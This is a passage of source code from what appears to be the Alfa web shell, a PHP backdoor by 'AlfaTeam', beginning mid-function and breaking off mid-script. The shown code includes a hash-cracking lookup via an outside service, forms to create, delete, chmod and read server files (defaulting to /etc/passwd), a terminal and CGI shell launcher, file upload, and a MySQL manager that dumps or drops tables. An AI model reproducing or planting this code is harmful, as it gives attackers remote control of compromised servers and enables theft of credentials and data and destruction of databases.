\"https:\/\/md5decrypt.net\/Api\/api.php?hash=\".$hash.\"&hash_type=\".$hash_type.\"&email=\".$email.\"&code=\".$code;\r\n$resp = @file_get_contents($target);\r\nif($resp==''){\r\n$get = new AlfaCURL();\r\n$resp = $get->Send($target);\r\n}\r\necho __pre().'<center>';\r\nswitch($resp){\r\n\tcase('CODE ERREUR : 001'):echo \"<b><font color='red'>You exceeded the 400 allowed request per day<\/font><\/b>\";break;\r\n\tcase('CODE ERREUR : 003'):echo \"<b><font color='red'>Your request includes more than 400 hashes.<\/font><\/b>\";break;\r\n\tcase('CODE ERREUR : 004'):echo \"<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid<\/font><\/b>\";break;\r\n\tcase('CODE ERREUR : 005'):echo \"<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.<\/font><\/b>\";break;\r\n}\r\nif(substr($resp,0,4)!='CODE'&&$resp!=''){\r\necho \"<b>Result: <font color='green'>\".$resp.\"<\/font><\/b>\";\r\n}elseif(substr($resp,0,4)!='CODE'){\r\necho \"<font color='red'>NoT Found<\/font><br \/>\";\r\n}\r\necho('<\/center>');\r\n}\r\n}\r\n}\r\nif($_POST['alfa1']=='analyzer'){\r\necho '<center><p><div class=\"txtfont_header\">| Hash Analyzer |<\/div><\/p>\r\n<form onsubmit=\"g(\\'cpcrack\\',null,\\'analyzer\\',this.hash.value,\\'>>\\');return false;\">\r\n<div class=\"txtfont\">Hash: <\/div> <input type=\"text\" placeholder=\"Hash\" name=\"hash\" size=\"60\" id=\"text\" \/> <input type=\"submit\" value=\" \" name=\"go\" \/><\/form><\/center><br>';\r\nif($_POST['alfa3'] == '>>'){\r\n$hash = $_POST['alfa2'];\r\nif(!empty($hash)){\r\n$curl = new AlfaCURL();\r\n$resp = $curl->Send(\"https:\/\/md5decrypt.net\/en\/HashFinder\/\",\"post\",\"hash={$hash}&crypt=Search\");\r\necho(__pre().'<center>');\r\nif(preg_match('#<fieldset class=\"trouve\">(.*?)<\/fieldset>#',$resp,$s)){\r\n\techo('<font color=\"green\">'.$s[1].'<\/font>');\r\n}else{\r\n\techo('<font color=\"red\">Not Found...!<\/font>');\r\n}\r\necho('<\/center><br>');\r\n}\r\n}\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfafooter(){\r\nif(!isset($_POST['ajax'])){\r\necho \"<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >\r\n<tr>\r\n<td width='17%'><form onsubmit=\\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\\\"><span class='footer_text'>Make File : <\/span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '><\/form><\/td>\r\n<td width='21%'><form onsubmit=\\\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\\\"><span class='footer_text'>Make Dir : <\/span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '><\/form><\/td>\r\n<td width='22%'><form onsubmit=\\\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\\\"><span class='footer_text'>Delete : <\/span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '><\/form><\/td>\r\n<td width='19%'><form onsubmit=\\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\\\"><span class='footer_text'>Chmod : <\/span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '><\/form><\/td>\r\n<\/tr>\r\n<tr>\r\n<td colspan='2'><form onsubmit='g(\\\"FilesMan\\\",this.c.value,\\\"\\\");return false;'><span class='footer_text'>Change Dir : <\/span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='\".htmlspecialchars($GLOBALS['cwd']).\"'> <input type='submit' value=' '><\/form><\/td>\r\n<td colspan='2'><form onsubmit=\\\"editor(this.file.value,'view','','','','file');return false;\\\"><span><span class='footer_text'>Read File : <\/span><\/span><br><input class='foottable' type='text' name='file' value='\/etc\/passwd'> <input type='submit' value=' '><\/form><\/td>\r\n<\/tr>\r\n<tr>\r\n<td colspan='4'><form style='margin-top: 10px;' onsubmit=\\\"return false;\\\" autocomplete='off'><span><span class='footer_text'>Execute :<\/span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http:\/\/solevisible.com\/icons\/menu\/terminal.svg'> Terminal<\/button><br><\/form><\/td>\r\n<\/tr>\r\n<tr>\r\n<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart\/form-data'>\r\n<input type='hidden' name='a' value='FilesMAn'>\r\n<input type='hidden' name='c' value='\" . $GLOBALS['cwd'] .\"'>\r\n<input type='hidden' name='ajax' value='true'>\r\n<input type='hidden' name='alfa1' value='uploadFile'>\r\n<input type='hidden' name='charset' value='\" . (isset($_POST['charset'])?$_POST['charset']:'') . \"'>\r\n<span class='footer_text'>Upload file: <\/span><span><button id='addup' onclick='addnewup();return false;'><b>+<\/b><\/button><\/span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'><\/span> <strong> Choose a file<\/strong><\/label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple><\/p><input type='submit' name='submit' value=' '><\/form><div id='alfa-copyright'><span class='copyright'>[ .\/AlfaTeam © 2012-\".date('Y').\" ]<\/span><br><span><a href='javascript:void(0);' onclick='alert(\\\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\\\");' style='color: #E91E63;text-decoration: none;'>Donate Us !<\/a><\/span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com<\/span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https:\/\/telegram.me\/solevisible'>@solevisible<\/a><\/span><\/div><\/td>\r\n<\/tr>\r\n<\/table>\r\n<\/div>\r\n\r\n<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'><\/div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\\\"options_window\\\");'><\/div><div onClick='editorClose(\\\"options_window\\\");' class='close-button'><\/div><\/div><\/div><div style='height:100%;' class='content_options_holder'><div class='options_tab'><\/div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'><\/div><\/div><\/div><\/div>\r\n\r\n<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager<\/div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\\\"database_window\\\");'><\/div><div onClick='editorClose(\\\"database_window\\\");' class='close-button'><\/div><\/div><\/div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'><\/div><div class='sql-contents' style='max-height: 85vh;'><\/div><\/div><\/div><\/div>\r\n\r\n<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'><\/div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\\\"cgiloader\\\");'><\/div><div onClick='editorClose(\\\"cgiloader\\\");' class='close-button'><\/div><\/div><\/div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'><\/div><div style='height:90%;' class='terminal-contents'><\/div><\/div><\/div><\/div>\r\n<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'><\/div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\\\"editor\\\");'><\/div><div onClick='editorClose(\\\"editor\\\");' class='close-button'><\/div><\/div><\/div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<<\/div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all<\/div><div class='hheader-text'>History<\/div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'><\/div><\/div><div class='history-list'><\/div><\/div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'><\/div><div class='editor-content-holder'><\/div><\/div><\/div><\/div><\/div><\/div>\r\n<div id='update-content'><\/div>\r\n<div id='database_window-minimized' onclick='showEditor(\\\"database_window\\\");'><div class='minimized-wrapper'><span class='options_min_badge'>0<\/span><div class='minimized-text' style='top: 15px;'>Database<\/div><\/div><\/div>\r\n<div id='options_window-minimized' onclick='showEditor(\\\"options_window\\\");'><div class='minimized-wrapper'><span class='options_min_badge'>0<\/span><div style='top: 4px;' class='minimized-text'>Options<\/div><\/div><\/div>\r\n<div id='editor-minimized' onclick='showEditor(\\\"editor\\\");'><div class='minimized-wrapper'><span class='options_min_badge'>0<\/span><div style='top: 2px;' class='minimized-text'>Editor<\/div><\/div><\/div>\r\n<div id='cgiloader-minimized' onclick='showEditor(\\\"cgiloader\\\");'><div class='minimized-wrapper'><span class='options_min_badge'>0<\/span><div style='top: 12px;' class='minimized-text'>Cgi Shell<\/div><\/div><\/div>\r\n<div id='rightclick_menu'>\r\n <a target='_blank' href='' name='newtab'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/newtab.svg\\\"> Open in new tab<\/a>\r\n <a target='_blank' href='' name='link'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/link.svg\\\"> Open file directly<\/a>\r\n <a href='javascript:void(0);' name='download'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/download2.svg\\\"> Download<\/a>\r\n <a href='' name='view'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/view.svg\\\"> View<\/a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/view.svg\\\"> View Archive<\/a>\r\n <a href='' name='edit'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/edit.svg\\\"> Edit<\/a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"move\\\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/move.svg\\\"> Move<\/a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"copy\\\");' ftype='' path='' fname='' href='' name='copy'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/copy.svg\\\"> Copy<\/a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"rename\\\");' ftype='' path='' fname='' name='rename'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/rename.svg\\\"> Rename<\/a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"modify\\\");' ftype='' path='' fname='' name='modify'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/time.svg\\\"> Modify<\/a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"permission\\\");' name='permission'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/key.svg\\\"> Change Permissions<\/a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/resize.svg\\\"> Compress<\/a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/increase.svg\\\"> Extract<\/a>\r\n <a href='javascript:void(0);' name='delete'><img src=\\\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\\\"> Delete<\/a>\r\n<\/div>\r\n<div id=\\\"filesman-tab-full-path\\\"><\/div>\r\n<div id='alert-area' class='alert-area'><\/div>\r\n<div class='cl-popup-fixed' style='display:none;'>\r\n\t<div id='shortcutMenu-holder'>\r\n\t\t<div class='popup-head'><\/div>\r\n\t\t\t<form autocomplete='off' onSubmit='return false;'>\r\n\t\t\t\t<label class='old-path-lbl'><\/label>\r\n\t\t\t\t<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'><\/div>\r\n\t\t\t\t<label style='margin-top:10px;' class='new-filename-lbl'>New file name<\/label>\r\n\t\t\t\t<input type='text' name='fname'>\r\n\t\t\t\t<div class='perm-table-holder'>\r\n\t\t\t\t\t<table>\r\n\t\t\t\t\t <tbody>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td><b>Mode<\/b><\/td>\r\n\t\t\t\t\t <td>User<\/td>\r\n\t\t\t\t\t <td>Group<\/td>\r\n\t\t\t\t\t <td>World<\/td>\r\n\t\t\t\t\t <\/tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Read<\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <\/tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Write<\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <\/tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Execute<\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'><\/td>\r\n\t\t\t\t\t <\/tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Permission<\/td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(\/[^0-7]\/g,0);autoCheckPerms(this.value, \\\"u\\\", [\\\"u\\\"]);'><\/td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(\/[^0-7]\/g,0);autoCheckPerms(this.value, \\\"g\\\", [\\\"g\\\"]);'><\/td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(\/[^0-7]\/g,0);autoCheckPerms(this.value, \\\"w\\\", [\\\"w\\\"]);'><\/td>\r\n\t\t\t\t\t <\/tr>\r\n\t\t\t\t\t <\/tbody>\r\n\t\t\t\t\t<\/table>\r\n\t\t\t\t<\/div>\r\n\r\n\t\t\t<\/form>\r\n\t\t<div class='popup-foot'>\r\n\t\t\t<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'><\/button>\r\n\t\t\t<button style='background: #9e2c2c;' onclick='d.querySelector(\\\".cl-popup-fixed\\\").style.display=\\\"none\\\";'>Cancell<\/button>\r\n\t\t<\/div>\r\n\t<\/div>\r\n<\/div>\";?>\r\n<script>\r\nfunction alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty(\"db_info\"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64(\"Sql_manager_api\"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty(\"post\"))for(var i in e.post.hasOwnProperty(\"alfa2\")&&\"load_data\"!=e.post.alfa2&&\"page\"!=e.post.alfa2&&\"edit\"!=e.post.alfa2&&\"delete\"!=e.post.alfa2&&(d.querySelector(\"#\"+e.db_id+\" .mysql-query-result-header .mysql-query-pager\").innerHTML=\"\",d.querySelector(\"#\"+e.db_id+\" .mysql-query-result-header .mysql-query-reporter\").innerHTML=\"\"),e.post)l[i]=alfab64(e.post[i]);var r=\"\";for(var o in l)r+=o+\"=\"+l[o]+\"&\";alfaloader(e.db_id,\"block\"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,\"none\"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a=\"\",i=\"\",l=(a=\"\",\"\");if(null!=e)a=e.getAttribute(\"target\"),i=e.getAttribute(\"db_id\"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,\"i\"),d.querySelectorAll(\"#\"+i+\" \"+a+\" ul > li\").forEach(function(e){var t=e.querySelector(\".mysql_tables\");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display=\"none\":e.style.display=\"block\"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute(\"db_id\"),i=d.querySelector(\"#\"+a+\" .mysql-tables input[name=filter_all]\").value,l=d.querySelector(\"#\"+a+\" input[name=sql_count]\").checked,r=[],o=[];if(d.querySelectorAll(\"#\"+a+\" .mysql-tables .list_container\").forEach(function(e){var t=e.getAttribute(\"mode\"),a=e.getAttribute(\"db_name\");\"no\"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:\"mysql_get_all_tables\",db_info:{databases:r},post:{alfa2:\"load_all_tables\",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector(\"#\"+a+\" .cls-\"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:\".mysql-tables .list_container\",value:i}):(e.setAttribute(\"mode\",\"opened\"),d.querySelector(\"#\"+a+\" .mysql-tables .parent-expander img\").src=\"http:\/\/solevisible.com\/icons\/menu\/b_minus.png\")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:\".mysql-tables .list_container\",value:i}),o)alfaMysqlTableMode(a,o[n],\"closed\");else{var s=\"\",c=e.getAttribute(\"mode\");for(var n in\"opened\"==c?(e.setAttribute(\"mode\",\"closed\"),s=\"b_plus.png\"):(e.setAttribute(\"mode\",\"opened\"),s=\"b_minus.png\"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector(\"#\"+a+\" .mysql-tables .parent-expander img\").src=\"http:\/\/solevisible.com\/icons\/menu\/\"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector(\"#\"+e+\" .cls-\"+t),l=\"\";void 0===a?(l=-1!=i.classList.value.indexOf(\"hide-db-tables\")?\"b_minus.png\":\"b_plus.png\",i.classList.toggle(\"hide-db-tables\")):\"opened\"==a?(l=\"b_plus.png\",i.classList.add(\"hide-db-tables\")):(l=\"b_minus.png\",i.classList.remove(\"hide-db-tables\")),d.querySelector(\"#\"+e+\" .cls-\"+t+\"-expander img\").src=\"http:\/\/solevisible.com\/icons\/menu\/\"+l}function alfaMysqlExpander(e){var t=e.getAttribute(\"db_target\"),a=e.getAttribute(\"db_id\"),i=e.getAttribute(\"sql_count\"),l=d.querySelector(\"#\"+a+\" .cls-\"+t);\"loaded\"==l.getAttribute(\"mode\")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:\"mysql_get_tables\",post:{alfa2:\"load_tables\",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute(\"target\"),a=e.getAttribute(\"db_id\"),i=e.getAttribute(\"mode\");\"checked\"==i?(i=!1,e.setAttribute(\"mode\",\"not\")):(i=!0,e.setAttribute(\"mode\",\"checked\")),d.querySelectorAll(\"#\"+a+\" \"+t+\" input[name=tbl\\\\[\\\\]]\").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute(\"target\"),a=e.getAttribute(\"db_id\"),i=\"none\";\"dump\"==e.value&&(i=\"block\"),d.querySelector(\"#\"+a+\" \"+t+\" .dump-file-holder\").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute(\"target\"),a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"db_id\"),l=[],r=d.querySelector(\"#\"+i+\" input[name=sql_count]\").checked,o=d.querySelector(\"#\"+i+\" \"+t),n=o.querySelector(\"select[name=tables_evil]\").value,s=o.querySelector(\".dump-file-holder input\").value;d.querySelectorAll(\"#\"+i+\" \"+t+\" input[name=tbl\\\\[\\\\]]\").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:\"mysql_query_evil\",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:\"dump_drop\"}},function(e){0!=e.length&&(e=JSON.parse(e),\"drop\"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(\".dump-file-holder\").insertAdjacentHTML(\"beforeend\",\"<div><a href='javascript:void(0);' onclick='g(\\\"FilesTools\\\",null,\\\"\"+s+'\",\"download\");\\'><span>Download: '+s+\"<\/span><\/a><\/div>\"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute(\"mode\",\"loaded\");var r='<ul><li><div class=\"block\"><i><\/i><b><\/b><\/div><div><input style=\"padding: 0;margin-left: 11px;text-align:center;\" type=\"text\" class=\"db-opt-id\" db_id=\"'+a+'\" placeholder=\"Filter Table\" target=\".cls-'+i+'\" onkeyup=\"alfaMysqlFilterTable(this);\" name=\"filter\"><\/div><\/li>';for(var o in e)null!=e[o]&&(r+=\"<li><div class='block'><i><\/i><b><\/b><\/div><div class='tables-row'><input type='checkbox' name='tbl[]' value='\"+e[o].name+\"'> <a class='db-opt-id' db_target='\"+i+\"' db_id='\"+a+\"' href='javascript:void(0);' onclick=\\\"alfaLoadTableData(this, '\"+e[o].name+\"')\\\"><span class='mysql_tables' style='font-weight:unset;'>\"+e[o].name+\"<\/span><\/a>\"+(l?\" <small><span style='font-weight:unset;' class='mysql_table_count'>(\"+e[o].count+\")<\/span><\/small>\":\" \")+\"<\/div><\/li>\");r+='<\/ul><div style=\"margin-left: 26px;margin-bottom: 10px;margin-top: 10px;\"><input onchange=\"alfaMysqlTablesEvil(this);\" db_id=\"'+a+'\" class=\"db-opt-id\" target=\".cls-'+i+'\" type=\"checkbox\" class=\"db-opt-id\"><select onchange=\"alfaMysqlTablesDumpDrop(this);\" class=\"db-opt-id\" db_id=\"'+a+'\" target=\".cls-'+i+'\" class=\"db-opt-id\" name=\"tables_evil\" style=\"padding: 0;width: 100px;\"><option selected>drop<\/option><option>dump<\/option><\/select> <button onclick=\"alfaMysqlTablesDumpDropBtn(this);return false;\" db_id=\"'+a+'\" class=\"db-opt-id\" db_target=\"'+i+'\" target=\".cls-'+i+'\" class=\"db-opt-id\">Do it<\/button><div class=\"dump-file-holder\" style=\"display:none;margin-left:20px;margin-top: 5px;\"><input style=\"padding: 0;text-align:center;\" type=\"text\" placeholder=\"dump.sql\" name=\"dump_file\"><\/div><\/div>',t.innerHTML=r,d.querySelector(\"#\"+a+\" .cls-\"+i+\"-expander img\").src=\"http:\/\/solevisible.com\/icons\/menu\/b_minus.png\"}function alfaMysqlQuery(e){var t=e.getAttribute(\"db_target\"),a=e.getAttribute(\"db_id\"),i=d.querySelector(\"#\"+a+\" textarea[name=query]\").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:\"mysql_load_query_data\",db_info:{query:i},post:{alfa2:\"query\"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector(\"#\"+a+\" .mysql-query-table\").innerHTML=e.status?e.table:\"\",alfaMysqlTabCtl({child:1,db_id:a,target:\".mysql-query-result-content\"},!0))})}function alfaMysqlReportBuilder(e,t){var a=\"\";t.status||(a=\"<div><span>Error: <\/span><div style='padding-left: 50px;'><pre>\"+t.error+\"<\/pre><\/div><\/div>\");var i=\"<div><span>Query:<\/span><div style='padding-left: 50px;'><pre>\"+t.query+\"<\/pre><\/div>\"+a+\"<\/div>\";d.querySelector(\"#\"+e+\" .mysql-query-reporter\").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute(\"db_id\"),a=(t=e.getAttribute(\"db_id\"),d.querySelector(\"#\"+t)),i=a.querySelector(\".tables-panel-ctl\");\"none\"==i.getAttribute(\"mode\")?(a.querySelector(\".mysql-tables\").style.display=\"block\",i.setAttribute(\"mode\",\"block\"),i.innerHTML=\"<<\",a.querySelector(\".mysql-query-results-fixed\").classList.remove(\"mysql-query-results-fixed\")):(a.querySelector(\".mysql-tables\").style.display=\"none\",i.setAttribute(\"mode\",\"none\"),i.innerHTML=\">>\",a.querySelector(\".mysql-query-results\").classList.add(\"mysql-query-results-fixed\")),i.classList.toggle(\"tables-panel-ctl-min\")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute(\"db_id\"):e.db_id,i=void 0===t?e.getAttribute(\"target\"):e.target;d.querySelectorAll(\"#\"+a+\" .mysql-query-content\").forEach(function(e){e.classList.add(\"mysql-hide-content\")}),d.querySelector(\"#\"+a+\" .mysql-query-result-tabs .mysql-query-selected-tab\").classList.remove(\"mysql-query-selected-tab\"),void 0===t?e.classList.add(\"mysql-query-selected-tab\"):d.querySelector(\"#\"+a+\" .mysql-query-result-tabs div:nth-child(\"+e.child+\")\").classList.add(\"mysql-query-selected-tab\"),d.querySelector(\"#\"+a+\" \"+i).classList.remove(\"mysql-hide-content\")}function alfaLoadTableData(e,t){var a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"db_id\");alfaMysqlApi({db_id:i,db_target:a,ajax_id:\"mysql_load_table_data\",db_info:{table:t},post:{alfa2:\"load_data\"}},function(e){if(0!=e.length){e=JSON.parse(e);var l=\"\",r=\"<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column<\/th><th>Type<\/th><th>Value<\/th><\/tr>\",o=\"<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column<\/th><th>Type<\/th><th>Value<\/th><th>Change<\/th><\/tr>\",n=\"<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column<\/th><th>Type<\/th><th>Collation<\/th><th>Operator<\/th><th>Value<\/th><\/tr>\",s=[\"int\",\"smallint\",\"bigint\",\"tinyint\",\"mediumint\"],c=[\"longtext\",\"text\",\"mediumtext\",\"tinytext\"];for(var u in e.columns){var p=\"text\";-1!=s.indexOf(e.columns[u].data_type)&&(p=\"number\"),n+=\"<tr><th style='text-align: left;'>\"+e.columns[u].name+\"<\/th><td>\"+e.columns[u].type+\"<\/td><td>\"+e.columns[u].collation+\"<\/td><td><select name='\"+e.columns[u].name+\"'><option value='='>=<\/option><option value='!='>!=<\/option><option value='>'>><\/option><option value='>='>>=<\/option><option value='<'><<\/option><option value='<='><=<\/option><option value=\\\"= ''\\\">= ''<\/option><option value=\\\"!= ''\\\">!= ''<\/option><option value='LIKE'>LIKE<\/option><option value='LIKE %...%'>LIKE %...%<\/option><option value='NOT LIKE'>NOT LIKE<\/option><option value='REGEXP'>REGEXP<\/option><option value='REGEXP ^...$'>REGEXP ^...$<\/option><option value='NOT REGEXP'>NOT REGEXP<\/option><option value='IN (...)'>IN (...)<\/option><option value='NOT IN (...)'>NOT IN (...)<\/option><option value='BETWEEN'>BETWEEN<\/option><option value='NOT BETWEEN'>NOT BETWEEN<\/option><option value='IS NULL'>IS NULL<\/option><option value='IS NOT NULL'>IS NOT NULL<\/option><\/select><\/td><td><input type='\"+p+\"' name='\"+e.columns[u].name+\"'><\/td><\/tr>\";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=\"\"),o+=\"<tr><th style='text-align: left;'>\"+e.columns[u].name+\"<\/th><td><select name='sel_\"+e.columns[u].name+\"'>\"+f+\"<\/select><\/td><td><input name='value_\"+e.columns[u].name+\"' type='text' value='\"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:\"\")+\"'><\/td><td><button col_name='\"+e.columns[u].name+\"' tbl_name='\"+t+\"' db_id='\"+i+\"' db_target='\"+a+\"' onclick='alfaMysqlAlterTbl(this);return false;'>Change<\/button><\/td><\/tr>\";var m=\"\";switch(e.columns[u].data_type){case\"longtext\":case\"text\":m=\"<textarea name='\"+e.columns[u].name+\"' rows='5'><\/textarea>\";break;case\"int\":case\"smallint\":case\"bigint\":m=\"<input type='number' name='\"+e.columns[u].name+\"' value=''>\";break;default:m=\"<input type='text' name='\"+e.columns[u].name+\"' value=''>\"}r+=\"<tr><th style='text-align: left;'>\"+e.columns[u].name+\"<\/th><td>\"+e.columns[u].type+\"<\/td><td>\"+m+\"<\/td><\/tr>\"}if(r+=\"<\/table><div style='margin-left:20px;'><button tbl_name='\"+t+\"' db_id='\"+i+\"' db_target='\"+a+\"' onclick='alfaMysqlUpdateRow(this, \\\"insert\\\");return false;'>Insert<\/button><\/div><div class='mysql-insert-result'><\/div>\",o+=\"<\/table><div class='mysql-structure-qres'><\/div>\",n+=\"<\/table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='\"+t+\"' db_id='\"+i+\"' db_target='\"+a+\"' onclick='alfaMysqlSearch(this);return false;'>Search<\/button><\/div>\",e.pages>0){l+=\"<span style='cursor:pointer;' db_id='\"+i+\"' onclick='alfaMysqlChangePage(this,1);'><<<\/span> <span> page: <\/span> <select tbl_name='\"+t+\"' db_target='\"+a+\"' name='mysql-q-pages' db_id='\"+i+\"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='\"+e.pages+\"'>\";for(var b=1;b<e.pages+1;b++)l+=\"<option>\"+b+\"<\/option>\";l+=\"<\/select><span> Of \"+e.pages+\"<\/span> <span style='cursor:pointer;' db_id='\"+i+\"' 